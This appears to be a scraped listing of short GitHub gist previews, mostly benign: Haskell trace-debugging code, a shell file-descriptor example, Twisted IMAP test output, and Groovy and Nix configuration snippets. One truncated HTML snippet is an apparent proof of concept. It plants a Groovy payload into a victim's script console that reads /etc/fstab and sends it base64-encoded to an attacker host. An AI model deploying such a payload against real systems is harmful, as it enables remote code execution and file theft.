This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE FlexibleContexts #-} | |
{-# LANGUAGE FlexibleInstances #-} | |
{-# LANGUAGE OverloadedStrings #-} | |
{-# LANGUAGE TemplateHaskell #-} | |
import Prelude hiding (writeFile) | |
import Control.Monad (MonadPlus (..)) | |
import Control.Monad.TestFixture |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exec 3> /tmp/foo | |
echo "1" >&3 | |
echo "2" >&3 | |
exec 3>&- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
twisted.mail.test.test_imap | |
AuthenticatorTests | |
testCramMD5 ... [OK] | |
testFailedCramMD5 ... [OK] | |
testFailedLOGIN ... [OK] | |
testFailedPLAIN ... [OK] | |
testLOGIN ... [OK] | |
testPLAIN ... [OK] | |
ClientCapabilityTests | |
test_categoryAtoms ... [OK] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package foo | |
class Bar { | |
static final map = foo | |
static final foo = [1,2,3] | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
consoleUrl = 'https://victim.example.com/path/to/console' | |
attackerHost = 'http://localhost:7979/' | |
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()` | |
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument | |
function newFrame(content){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foo :: String -> IO () | |
foo dummy = do | |
let (x, y) = (1, 1) | |
(x, y) <- pure $ (trace "x" (x+1), (trace "y" y*3) | |
print $ show (y + y) <> dummy | |
print $ show (x + x) <> dummy | |
foo2 x = foo (trace "outerfoo" "foo") | |
foo3 xs dummy = print $ show (map (+1) xs) <> dummy |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Control.Monad.State (execState, get, modify) | |
import Debug.Trace (trace) | |
foo :: IO () | |
foo = do | |
(x, y) <- pure $ flip execState (1,1) $ do | |
(x, y) <- get | |
modify (\(x, y) -> (trace "x1" (x+1), (trace "y1" y))) | |
(x, y) <- get |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
master = pkgs.python35Packages.buildPythonApplication (inputs // { | |
preUnpackHook = '' | |
PDIR = $(pwd) | |
echo "qui: $PDIR" | |
cd $(mktemp -d) | |
git clone $PDIR . | |
export sourceRoot="./checkprices" | |
''; | |
checkPhase = "env MYPYPATH=$PWD/stubs py.test"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let | |
pkgs = import ./channel.nix; | |
foo_project = import foo/default.nix; | |
main_service = cmd: { | |
wantedBy = [ "multi-user.target" ]; # Specify that the system wants this service to run. | |
after = [ "network.target" ]; # Start the webserver after the network has come up. | |
serviceConfig = { | |
ExecStart = cmd; | |
User = "nobody"; |